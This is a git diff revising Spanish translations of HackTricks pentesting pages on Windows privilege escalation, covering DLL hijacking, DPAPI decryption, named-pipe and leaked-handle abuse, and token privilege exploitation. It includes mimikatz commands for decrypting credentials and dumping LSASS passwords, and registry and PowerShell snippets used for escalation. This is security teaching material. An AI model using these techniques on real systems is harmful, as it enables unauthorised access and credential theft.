+Ese es el **orden de búsqueda** predeterminado con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado).
 
-Si se llama a la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando.
+Si la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) se llama con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando.
 
 Finalmente, ten en cuenta que **un DLL podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese DLL **solo se buscará en esa ruta** (si el DLL tiene alguna dependencia, se buscarán como si se cargaran solo por nombre).
 
@@ -67,11 +61,11 @@ Hay otras formas de alterar el orden de búsqueda, pero no voy a explicarlas aqu
 
 #### Excepciones en el orden de búsqueda de DLL según la documentación de Windows
 
-Ciertas excepciones al orden de búsqueda estándar de DLL se anotan en la documentación de Windows:
+Ciertas excepciones al orden de búsqueda estándar de DLL se mencionan en la documentación de Windows:
 
 - Cuando se encuentra un **DLL que comparte su nombre con uno ya cargado en memoria**, el sistema omite la búsqueda habitual. En su lugar, realiza una verificación de redirección y un manifiesto antes de recurrir al DLL ya en memoria. **En este escenario, el sistema no realiza una búsqueda del DLL**.
 - En casos donde el DLL es reconocido como un **DLL conocido** para la versión actual de Windows, el sistema utilizará su versión del DLL conocido, junto con cualquiera de sus DLLs dependientes, **omitindo el proceso de búsqueda**. La clave de registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene una lista de estos DLLs conocidos.
-- Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se lleva a cabo como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial se identificó a través de una ruta completa.
+- Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se realiza como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial fue identificado a través de una ruta completa.
 
 ### Escalando Privilegios
 
@@ -81,7 +75,7 @@ Ciertas excepciones al orden de búsqueda estándar de DLL se anotan en la docum
 - Asegurarse de que hay **acceso de escritura** disponible para cualquier **directorio** en el que se **buscará el DLL**. Esta ubicación podría ser el directorio del ejecutable o un directorio dentro de la ruta del sistema.
 
 Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que falte un DLL** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados esto es posible.\
-En el caso de que tengas suerte y te encuentres cumpliendo con los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es eludir UAC**, puedes encontrar allí un **PoC** de un Dll hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
+En el caso de que tengas suerte y cumplas con los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es eludir UAC**, puedes encontrar allí un **PoC** de un DLL hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
 
 Ten en cuenta que puedes **verificar tus permisos en una carpeta** haciendo:
 ```bash
@@ -111,13 +105,13 @@ Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad
 ### Ejemplo
 
 En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../../authentication-credentials-uac-and-efs/#uac) o de [**alta integridad a SYSTEM**](../#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
-Además, en la **siguiente sección** puedes encontrar algunos **códigos dll básicos** que podrían ser útiles como **plantillas** o para crear un **dll con funciones no requeridas exportadas**.
+Además, en la **siguiente sección** puedes encontrar algunos **códigos dll básicos** que pueden ser útiles como **plantillas** o para crear un **dll con funciones no requeridas exportadas**.
 
 ## **Creando y compilando Dlls**
 
-### **Dll Proxifying**
+### **Proxificación de Dll**
 
-Básicamente, un **Dll proxy** es un Dll capaz de **ejecutar tu código malicioso cuando se carga**, pero también de **exponer** y **funcionar** como **se esperaba** al **redirigir todas las llamadas a la biblioteca real**.
+Básicamente, un **proxy de Dll** es un Dll capaz de **ejecutar tu código malicioso cuando se carga**, pero también de **exponer** y **funcionar** como **se esperaba** al **redirigir todas las llamadas a la biblioteca real**.
 
 Con la herramienta [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) o [**Spartacus**](https://github.com/Accenture/Spartacus) puedes **indicar un ejecutable y seleccionar la biblioteca** que deseas proxificar y **generar un dll proxificado** o **indicar el Dll** y **generar un dll proxificado**.
 
@@ -223,10 +217,5 @@ return TRUE;
 - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
 - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
 
-<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
-
-**Consejo de recompensas por errores**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
index a633d88a7..1bfa8eb31 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@@ -6,7 +6,7 @@
 
 Si descubres que puedes **escribir en una carpeta de System Path** (ten en cuenta que esto no funcionará si puedes escribir en una carpeta de User Path), es posible que puedas **escalar privilegios** en el sistema.
 
-Para hacer esto, puedes abusar de un **Dll Hijacking** donde vas a **secuestrar una biblioteca que está siendo cargada** por un servicio o proceso con **más privilegios** que los tuyos, y debido a que ese servicio está cargando una Dll que probablemente ni siquiera existe en todo el sistema, intentará cargarla desde el System Path donde puedes escribir.
+Para hacer esto, puedes abusar de un **Dll Hijacking** donde vas a **secuestrar una biblioteca que está siendo cargada** por un servicio o proceso con **más privilegios** que los tuyos, y debido a que ese servicio está cargando un Dll que probablemente ni siquiera existe en todo el sistema, intentará cargarlo desde el System Path donde puedes escribir.
 
 Para más información sobre **qué es Dll Hijacking**, consulta:
 
@@ -16,11 +16,11 @@ Para más información sobre **qué es Dll Hijacking**, consulta:
 
 ## Privesc con Dll Hijacking
 
-### Encontrar una Dll faltante
+### Encontrar un Dll faltante
 
-Lo primero que necesitas es **identificar un proceso** que se esté ejecutando con **más privilegios** que tú y que esté intentando **cargar una Dll desde el System Path** en el que puedes escribir.
+Lo primero que necesitas es **identificar un proceso** que se esté ejecutando con **más privilegios** que tú y que esté intentando **cargar un Dll desde el System Path** en el que puedes escribir.
 
-El problema en estos casos es que probablemente esos procesos ya estén en ejecución. Para encontrar qué Dlls faltan, necesitas lanzar procmon lo antes posible (antes de que se carguen los procesos). Así que, para encontrar .dlls faltantes, haz lo siguiente:
+El problema en estos casos es que probablemente esos procesos ya estén en ejecución. Para encontrar qué Dlls faltan en los servicios, necesitas lanzar procmon lo antes posible (antes de que se carguen los procesos). Así que, para encontrar Dlls faltantes, haz lo siguiente:
 
 - **Crea** la carpeta `C:\privesc_hijacking` y agrega la ruta `C:\privesc_hijacking` a la **variable de entorno System Path**. Puedes hacer esto **manualmente** o con **PS**:
 ```powershell
@@ -47,7 +47,7 @@ $newPath = "$envPath;$folderPath"
 
 <figure><img src="../../../images/image (945).png" alt=""><figcaption></figcaption></figure>
 
-### Dlls Perdidas
+### Dlls Perdidos
 
 Ejecutando esto en una **máquina virtual (vmware) Windows 11** gratuita, obtuve estos resultados:
 
@@ -55,11 +55,11 @@ Ejecutando esto en una **máquina virtual (vmware) Windows 11** gratuita, obtuve
 
 En este caso, los .exe son inútiles, así que ignórelos, los DLLs perdidos eran de:
 
-| Servicio                         | Dll                | Línea de CMD                                                        |
-| ------------------------------- | ------------------ | ------------------------------------------------------------------ |
-| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule`       |
+| Servicio                         | Dll                | Línea de CMD                                                         |
+| ------------------------------- | ------------------ | -------------------------------------------------------------------- |
+| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule`          |
 | Servicio de política de diagnóstico (DPS) | Unknown.DLL        | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
-| ???                             | SharedRes.dll      | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup`             |
+| ???                             | SharedRes.dll      | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup`                |
 
 Después de encontrar esto, encontré esta interesante publicación de blog que también explica cómo [**abusar de WptsExtensions.dll para privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Que es lo que **vamos a hacer ahora**.
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
index 0d2af1968..6a3fc6c4d 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
@@ -2,7 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## ¿Qué es DPAPI?
+
+
+## Qué es DPAPI
 
 La API de Protección de Datos (DPAPI) se utiliza principalmente dentro del sistema operativo Windows para la **cifrado simétrico de claves privadas asimétricas**, aprovechando ya sea secretos de usuario o del sistema como una fuente significativa de entropía. Este enfoque simplifica el cifrado para los desarrolladores al permitirles cifrar datos utilizando una clave derivada de los secretos de inicio de sesión del usuario o, para el cifrado del sistema, los secretos de autenticación del dominio del sistema, eliminando así la necesidad de que los desarrolladores gestionen la protección de la clave de cifrado ellos mismos.
 
@@ -12,9 +14,9 @@ Entre los datos personales protegidos por DPAPI se encuentran:
 
 - Contraseñas y datos de autocompletado de Internet Explorer y Google Chrome
 - Contraseñas de cuentas de correo electrónico y FTP interno para aplicaciones como Outlook y Windows Mail
-- Contraseñas para carpetas compartidas, recursos, redes inalámbricas y Windows Vault, incluyendo claves de cifrado
+- Contraseñas para carpetas compartidas, recursos, redes inalámbricas y Windows Vault, incluidas claves de cifrado
 - Contraseñas para conexiones de escritorio remoto, .NET Passport y claves privadas para diversos propósitos de cifrado y autenticación
-- Contraseñas de red gestionadas por el Administrador de Credenciales y datos personales en aplicaciones que utilizan CryptProtectData, como Skype, MSN messenger y más
+- Contraseñas de red gestionadas por Credential Manager y datos personales en aplicaciones que utilizan CryptProtectData, como Skype, MSN messenger y más
 
 ## List Vault
 ```bash
@@ -43,7 +45,7 @@ guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
 pbData             : b8f619[...snip...]b493fe
 [..]
 ```
-Puedes usar el **módulo mimikatz** `dpapi::cred` con el `/masterkey` apropiado para desencriptar:
+Puedes usar el **módulo mimikatz** `dpapi::cred` con el `/masterkey` apropiado para descifrar:
 ```
 dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
 ```
@@ -58,15 +60,15 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
 Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
 Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
 ```
-Esto es lo que un montón de Claves Maestras de un usuario se verá:
+Esto es lo que un montón de Master Keys de un usuario se verá:
 
 ![](<../../images/image (1121).png>)
 
-Usualmente **cada clave maestra es una clave simétrica encriptada que puede desencriptar otro contenido**. Por lo tanto, **extraer** la **Clave Maestra encriptada** es interesante para **desencriptar** más tarde ese **otro contenido** encriptado con ella.
+Usualmente **cada master key es una clave simétrica encriptada que puede desencriptar otro contenido**. Por lo tanto, **extraer** la **Master Key encriptada** es interesante para **desencriptar** más tarde ese **otro contenido** encriptado con ella.
 
-### Extraer clave maestra y desencriptar
+### Extraer master key y desencriptar
 
-Consulta la publicación [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) para un ejemplo de cómo extraer la clave maestra y desencriptarla.
+Consulta el post [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) para un ejemplo de cómo extraer la master key y desencriptarla.
 
 ## SharpDPAPI
 
@@ -80,7 +82,7 @@ Consulta la publicación [https://www.ired.team/offensive-security/credential-ac
 
 ¡Con la lista de computadoras extraídas de LDAP puedes encontrar cada subred incluso si no las conocías!
 
-"Porque los derechos de Administrador de Dominio no son suficientes. Hackea a todos."
+"Porque los derechos de Domain Admin no son suficientes. Hackéalos a todos."
 
 ## DonPAPI
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
index 8375d7628..565aabdab 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
@@ -5,7 +5,7 @@
 1. Crear un nuevo Pipe
 2. Crear e iniciar un servicio que se conectará al pipe creado y escribirá algo. El código del servicio ejecutará este código PS codificado: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
 3. El servicio recibe los datos del cliente en el pipe, llama a ImpersonateNamedPipeClient y espera a que el servicio termine
-4. Finalmente, utiliza el token obtenido del servicio para iniciar un nuevo _cmd.exe_
+4. Finalmente, utiliza el token obtenido del servicio para generar un nuevo _cmd.exe_
 
 > [!WARNING]
 > Si no tienes suficientes privilegios, el exploit puede quedar atascado y nunca regresar.
diff --git a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
index 8b9519817..4f087e1a2 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
@@ -15,7 +15,7 @@ Una regla clave es que los objetos no pueden ser modificados por procesos con un
 - **Sistema**: El nivel operativo más alto para el núcleo de Windows y servicios centrales, fuera del alcance incluso para administradores, asegurando la protección de funciones vitales del sistema.
 - **Instalador**: Un nivel único que se encuentra por encima de todos los demás, permitiendo a los objetos en este nivel desinstalar cualquier otro objeto.
 
-Puedes obtener el nivel de integridad de un proceso usando **Process Explorer** de **Sysinternals**, accediendo a las **propiedades** del proceso y viendo la pestaña "**Seguridad**":
+Puedes obtener el nivel de integridad de un proceso usando **Process Explorer** de **Sysinternals**, accediendo a las **propiedades** del proceso y viendo la pestaña de "**Seguridad**":
 
 ![](<../../images/image (824).png>)
 
@@ -52,7 +52,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
 NT AUTHORITY\BATCH:(I)(M,DC)
 Mandatory Label\High Mandatory Level:(NW)
 ```
-Aquí es donde las cosas se ponen interesantes. Puedes ver que el usuario `DESKTOP-IDJHTKP\user` tiene **privilegios COMPLETOS** sobre el archivo (de hecho, este fue el usuario que creó el archivo), sin embargo, debido al nivel de integridad mínimo implementado, no podrá modificar el archivo a menos que esté ejecutándose dentro de un Alto Nivel de Integridad (ten en cuenta que podrá leerlo):
+Aquí es donde las cosas se ponen interesantes. Puedes ver que el usuario `DESKTOP-IDJHTKP\user` tiene **privilegios COMPLETOS** sobre el archivo (de hecho, este fue el usuario que creó el archivo), sin embargo, debido al nivel de integridad mínimo implementado, no podrá modificar el archivo a menos que esté ejecutándose dentro de un Nivel de Integridad Alto (ten en cuenta que podrá leerlo):
 ```
 echo 1234 > asd.txt
 Access is denied.
@@ -76,15 +76,15 @@ APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)
 Mandatory Label\Low Mandatory Level:(NW)
 ```
-Ahora, cuando ejecuto `cmd-low.exe`, **se ejecutará bajo un nivel de integridad bajo** en lugar de uno medio:
+Ahora, cuando ejecuto `cmd-low.exe` se **ejecutará bajo un nivel de integridad bajo** en lugar de uno medio:
 
 ![](<../../images/image (313).png>)
 
-Para los curiosos, si asignas un nivel de integridad alto a un binario (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), no se ejecutará automáticamente con un nivel de integridad alto (si lo invocas desde un nivel de integridad medio --por defecto-- se ejecutará bajo un nivel de integridad medio).
+Para los curiosos, si asignas un nivel de integridad alto a un binario (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`) no se ejecutará automáticamente con un nivel de integridad alto (si lo invocas desde un nivel de integridad medio --por defecto-- se ejecutará bajo un nivel de integridad medio).
 
 ### Niveles de Integridad en Procesos
 
-No todos los archivos y carpetas tienen un nivel de integridad mínimo, **pero todos los procesos se ejecutan bajo un nivel de integridad**. Y similar a lo que ocurrió con el sistema de archivos, **si un proceso quiere escribir dentro de otro proceso, debe tener al menos el mismo nivel de integridad**. Esto significa que un proceso con un nivel de integridad bajo no puede abrir un manejador con acceso total a un proceso con un nivel de integridad medio.
+No todos los archivos y carpetas tienen un nivel de integridad mínimo, **pero todos los procesos se ejecutan bajo un nivel de integridad**. Y similar a lo que ocurrió con el sistema de archivos, **si un proceso quiere escribir dentro de otro proceso debe tener al menos el mismo nivel de integridad**. Esto significa que un proceso con un nivel de integridad bajo no puede abrir un manejador con acceso total a un proceso con un nivel de integridad medio.
 
 Debido a las restricciones comentadas en esta y la sección anterior, desde un punto de vista de seguridad, siempre es **recomendado ejecutar un proceso en el nivel de integridad más bajo posible**.
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
index 22519580f..471d853b7 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
@@ -71,7 +71,7 @@ El [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle
 
 ### Metodología
 
-Ahora que sabes cómo encontrar los manejadores de los procesos, lo que necesitas verificar es si algún **proceso no privilegiado está teniendo acceso a manejadores privilegiados**. En ese caso, el usuario del proceso podría obtener el manejador y abusar de él para escalar privilegios.
+Ahora que sabes cómo encontrar los manejadores de los procesos, lo que necesitas verificar es si algún **proceso no privilegiado tiene acceso a manejadores privilegiados**. En ese caso, el usuario del proceso podría obtener el manejador y abusar de él para escalar privilegios.
 
 > [!WARNING]
 > Se mencionó anteriormente que necesitas el SeDebugPrivilege para acceder a todos los manejadores. Pero un **usuario aún puede acceder a los manejadores de sus procesos**, por lo que podría ser útil si deseas escalar privilegios solo desde ese usuario para **ejecutar las herramientas con los permisos regulares del usuario**.
@@ -503,11 +503,11 @@ return 0;
 ### Ejemplo de Explotación 2
 
 > [!NOTE]
-> En un escenario real, probablemente **no podrás controlar el binario** que se va a ejecutar por el código vulnerable (_C:\users\username\desktop\client.exe_ en este caso). Probablemente **comprometerás un proceso y necesitarás ver si puedes acceder a algún handle vulnerable de algún proceso privilegiado**.
+> En un escenario real, probablemente **no podrás controlar el binario** que va a ser ejecutado por el código vulnerable (_C:\users\username\desktop\client.exe_ en este caso). Probablemente **comprometerás un proceso y necesitarás ver si puedes acceder a algún handle vulnerable de algún proceso privilegiado**.
 
 En este ejemplo, **en lugar de abusar del handle abierto para inyectar** y ejecutar un shellcode, se va a **usar el token del proceso con handle privilegiado abierto para crear uno nuevo**. Esto se hace en las líneas de 138 a 148.
 
-Nota cómo se utiliza la **función `UpdateProcThreadAttribute`** con el **atributo `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` y el handle al proceso privilegiado abierto**. Esto significa que el **hilo del proceso creado que ejecuta \_cmd.exe**\_\*\* tendrá el mismo privilegio de token que el proceso con handle abierto\*\*.
+Nota cómo se utiliza la **función `UpdateProcThreadAttribute`** con el **atributo `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` y el handle al proceso privilegiado abierto**. Esto significa que el **hilo del proceso creado ejecutando \_cmd.exe**\_\*\* tendrá el mismo privilegio de token que el proceso con handle abierto\*\*.
 ```c
 #include <windows.h>
 #include <stdio.h>
diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
index 3e3a79dad..8f3c6d95a 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
@@ -4,6 +4,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Verifique: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
+Verifica: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
index 14350da12..7effe44b6 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
@@ -14,7 +14,7 @@ access-tokens.md
 
 ### SeImpersonatePrivilege
 
-Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un identificador para él. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato) y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
+Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un manejador para él. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato) y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
 
 {{#ref}}
 roguepotato-and-printspoofer.md
@@ -54,7 +54,7 @@ Este privilegio proporciona permiso para **acceso de escritura** a cualquier arc
 
 ### SeCreateTokenPrivilege
 
-SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usuario posee la capacidad de suplantar tokens, pero también en ausencia de SeImpersonatePrivilege. Esta capacidad depende de la habilidad de suplantar un token que representa al mismo usuario y cuyo nivel de integridad no excede el del proceso actual.
+SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usuario posee la capacidad de suplantar tokens, pero también en ausencia de SeImpersonatePrivilege. Esta capacidad depende de la habilidad para suplantar un token que representa al mismo usuario y cuyo nivel de integridad no excede el del proceso actual.
 
 **Puntos Clave:**
 
@@ -73,10 +73,10 @@ Esta ruta es `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`
 
 **Pasos a Seguir:**
 
-1. Acceder a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido.
-2. Crear la ruta `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `<RID>` representa el Identificador Relativo del usuario actual.
-3. Establecer el `ImagePath` a la ruta de ejecución del binario.
-4. Asignar el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`).
+1. Accede a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido.
+2. Crea la ruta `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `<RID>` representa el Identificador Relativo del usuario actual.
+3. Establece el `ImagePath` a la ruta de ejecución del binario.
+4. Asigna el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`).
 ```python
 # Example Python code to set the registry values
 import winreg as reg
@@ -114,7 +114,7 @@ Este privilegio permite **depurar otros procesos**, incluyendo leer y escribir e
 
 #### Dump memory
 
-Puedes usar [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) para **capturar la memoria de un proceso**. Específicamente, esto puede aplicarse al proceso de **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)**, que es responsable de almacenar las credenciales de usuario una vez que un usuario ha iniciado sesión con éxito en un sistema.
+Puedes usar [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) para **capturar la memoria de un proceso**. Específicamente, esto puede aplicarse al proceso **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)**, que es responsable de almacenar las credenciales de usuario una vez que un usuario ha iniciado sesión con éxito en un sistema.
 
 Luego puedes cargar este volcado en mimikatz para obtener contraseñas:
 ```
@@ -125,7 +125,7 @@ mimikatz # sekurlsa::logonpasswords
 ```
 #### RCE
 
-Si deseas obtener un shell `NT SYSTEM`, podrías usar:
+Si deseas obtener un shell de `NT SYSTEM`, podrías usar:
 
 - [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
 - [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
@@ -151,15 +151,15 @@ O el **script** incrustado en este [**post**](https://www.leeholmes.com/adjustin
 
 ## Tabla
 
-Hoja de trucos de privilegios de token completa en [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), el resumen a continuación solo enumerará formas directas de explotar el privilegio para obtener una sesión de administrador o leer archivos sensibles.
+Hoja de trucos completa de privilegios de token en [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), el resumen a continuación solo enumerará formas directas de explotar el privilegio para obtener una sesión de administrador o leer archivos sensibles.
 
 | Privilegio                 | Impacto     | Herramienta              | Ruta de ejecución                                                                                                                                                                                                                                                                                                                                     | Observaciones                                                                                                                                                                                                                                                                                                                        |
 | -------------------------- | ----------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros   | _"Permitiría a un usuario impersonar tokens y escalar privilegios al sistema nt utilizando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_                                                                                                                                                                                      | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto.                                                                                                                                                                                      |
